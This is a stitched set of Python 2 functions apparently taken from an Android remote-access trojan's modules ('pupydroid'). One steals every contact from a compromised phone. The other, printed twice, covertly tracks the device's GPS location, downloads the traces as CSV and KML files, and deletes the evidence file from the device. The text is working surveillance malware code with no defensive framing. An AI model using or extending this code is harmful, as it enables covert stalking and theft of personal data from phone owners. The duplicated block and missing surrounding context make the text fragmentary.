def run(self, args): self.client.load_package("pupydroid.contacts") self.client.load_package("pupydroid.utils") path = getLocalAndroidPath(localFolder=args.localOutputFolder, androidID=self.client.conn.modules['pupydroid.utils'].getAndroidID(), userName=self.client.desc['user']) if args.get_all==True: self.success("Getting contacts...") contacts = self.client.conn.modules['pupydroid.contacts'].getAllContacts() self.success("Contacts stolen successfully") self.__saveContacts__(contacts=contacts, completePath=os.path.join(path, 'contacts.txt'))
def run(self, args): self.client.load_package("pupydroid.gpsTracker") self.client.load_package("pupydroid.utils") androidID = self.client.conn.modules['pupydroid.utils'].getAndroidID() self.localFolder = getLocalAndroidPath(localFolder=args.localOutputFolder, androidID=androidID, userName=self.client.desc['user']) gpsTracker = self.client.conn.modules['pupydroid.gpsTracker'].GpsTracker(period=args.period, inMemory=args.in_memory) if args.is_GPS_enabled == True: self.success("Is GPS enabled?") print gpsTracker.isGPSenabled() if args.is_network_rovider_enabled == True: self.success("Is Network Provider enabled?") print gpsTracker.isNetworkProviderEnabled() if args.get_position == True: if gpsTracker.isNetworkProviderEnabled() == False and gpsTracker.isGPSenabled()==False: self.error("GPS or Network Provider is not enabled on the device. You should not be able to get location!") return else: self.success("GPS or Network Provider is enabled on the device. You should be able to get location!") lat, lon = None, None gpsTracker.enable() for nbRetry in range(3): self.success("Getting current location...") lat, lon = gpsTracker.getCurrentLocation() if lat==None and lon==None: self.error("Impossible to get location, retrying...") sleep(5) else: self.success("Current location:") print "latitude: {0} , longitude: {1}".format(lat, lon) break gpsTracker.disable() if args.start: r = self.client.conn.modules["pupydroid.gpsTracker"].startGpsTracker(period=args.period) if r == True: self.success("Tracking enabled. Get GPS position each {0} secds".format(args.period)) else: self.error("Tracking not enabled because already activated") elif args.stop: self.success("Stopping GPS tracking... (can take {0} secds)".format(args.period)) r = self.client.conn.modules["pupydroid.gpsTracker"].stopGpsTracker() if r == True: self.success("Tracking stopped") else: self.error("Tracking not stopped because not activated") elif args.dump: filename = os.path.join(self.localFolder,"gpsTraces.csv") if args.in_memory==False: traces = [] download(self.client.conn, "keflfjezomef.csv",filename) self.success("GPS positions downloaded in {0}".format(filename)) f = csv.DictReader(open(filename)) for row in f: traces.append([row['date'].replace(' ',''),row['latitude'].replace(' ',''),row['longitude'].replace(' ','')]) else: traces = self.client.conn.modules["pupydroid.gpsTracker"].dumpGpsTracker() self.success("{0} GPS positions".format(len(traces))) if len(traces)>0: if args.in_memory==True: f=open(filename,'w') f.write("Date, Lat, Lon\n") for aPos in traces: f.write("{0}, {1}, {2}\n".format(aPos[0], aPos[1], aPos[2])) f.close() self.success("GPS positions (.csv) saved in {0}".format(filename)) kmlFilename = os.path.join(self.localFolder,"gpsTraces.kml") generateKML(androidID, traces, outputFile=kmlFilename) self.success("KML file created in {0}".format(kmlFilename)) else: self.error("No GPS positions get. You should start GPS tracking or wait a moment") elif args.status: if self.client.conn.modules["pupydroid.gpsTracker"].statusGpsTracker() == True: self.success("GPS tracking is enabled") else: self.success("GPS tracking is NOT enabled") elif args.clean: status = self.client.conn.modules["pupydroid.gpsTracker"].deleteFile() if status == True: self.success("Trace file deleted from device") else: self.error("Impossible to delete trace file on device") self.error("Gps Tracking has never been enabled or it is running")
def run(self, args): self.client.load_package("pupydroid.gpsTracker") self.client.load_package("pupydroid.utils") androidID = self.client.conn.modules['pupydroid.utils'].getAndroidID() self.localFolder = getLocalAndroidPath(localFolder=args.localOutputFolder, androidID=androidID, userName=self.client.desc['user']) gpsTracker = self.client.conn.modules['pupydroid.gpsTracker'].GpsTracker(period=args.period, inMemory=args.in_memory) if args.is_GPS_enabled == True: self.success("Is GPS enabled?") print gpsTracker.isGPSenabled() if args.is_network_rovider_enabled == True: self.success("Is Network Provider enabled?") print gpsTracker.isNetworkProviderEnabled() if args.get_position == True: if gpsTracker.isNetworkProviderEnabled() == False and gpsTracker.isGPSenabled()==False: self.error("GPS or Network Provider is not enabled on the device. You should not be able to get location!") return else: self.success("GPS or Network Provider is enabled on the device. You should be able to get location!") lat, lon = None, None gpsTracker.enable() for nbRetry in range(3): self.success("Getting current location...") lat, lon = gpsTracker.getCurrentLocation() if lat==None and lon==None: self.error("Impossible to get location, retrying...") sleep(5) else: self.success("Current location:") print "latitude: {0} , longitude: {1}".format(lat, lon) break gpsTracker.disable() if args.start: r = self.client.conn.modules["pupydroid.gpsTracker"].startGpsTracker(period=args.period) if r == True: self.success("Tracking enabled. Get GPS position each {0} secds".format(args.period)) else: self.error("Tracking not enabled because already activated") elif args.stop: self.success("Stopping GPS tracking... (can take {0} secds)".format(args.period)) r = self.client.conn.modules["pupydroid.gpsTracker"].stopGpsTracker() if r == True: self.success("Tracking stopped") else: self.error("Tracking not stopped because not activated") elif args.dump: filename = os.path.join(self.localFolder,"gpsTraces.csv") if args.in_memory==False: traces = [] download(self.client.conn, "keflfjezomef.csv",filename) self.success("GPS positions downloaded in {0}".format(filename)) f = csv.DictReader(open(filename)) for row in f: traces.append([row['date'].replace(' ',''),row['latitude'].replace(' ',''),row['longitude'].replace(' ','')]) else: traces = self.client.conn.modules["pupydroid.gpsTracker"].dumpGpsTracker() self.success("{0} GPS positions".format(len(traces))) if len(traces)>0: if args.in_memory==True: f=open(filename,'w') f.write("Date, Lat, Lon\n") for aPos in traces: f.write("{0}, {1}, {2}\n".format(aPos[0], aPos[1], aPos[2])) f.close() self.success("GPS positions (.csv) saved in {0}".format(filename)) kmlFilename = os.path.join(self.localFolder,"gpsTraces.kml") generateKML(androidID, traces, outputFile=kmlFilename) self.success("KML file created in {0}".format(kmlFilename)) else: self.error("No GPS positions get. You should start GPS tracking or wait a moment") elif args.status: if self.client.conn.modules["pupydroid.gpsTracker"].statusGpsTracker() == True: self.success("GPS tracking is enabled") else: self.success("GPS tracking is NOT enabled") elif args.clean: status = self.client.conn.modules["pupydroid.gpsTracker"].deleteFile() if status == True: self.success("Trace file deleted from device") else: self.error("Impossible to delete trace file on device") self.error("Gps Tracking has never been enabled or it is running")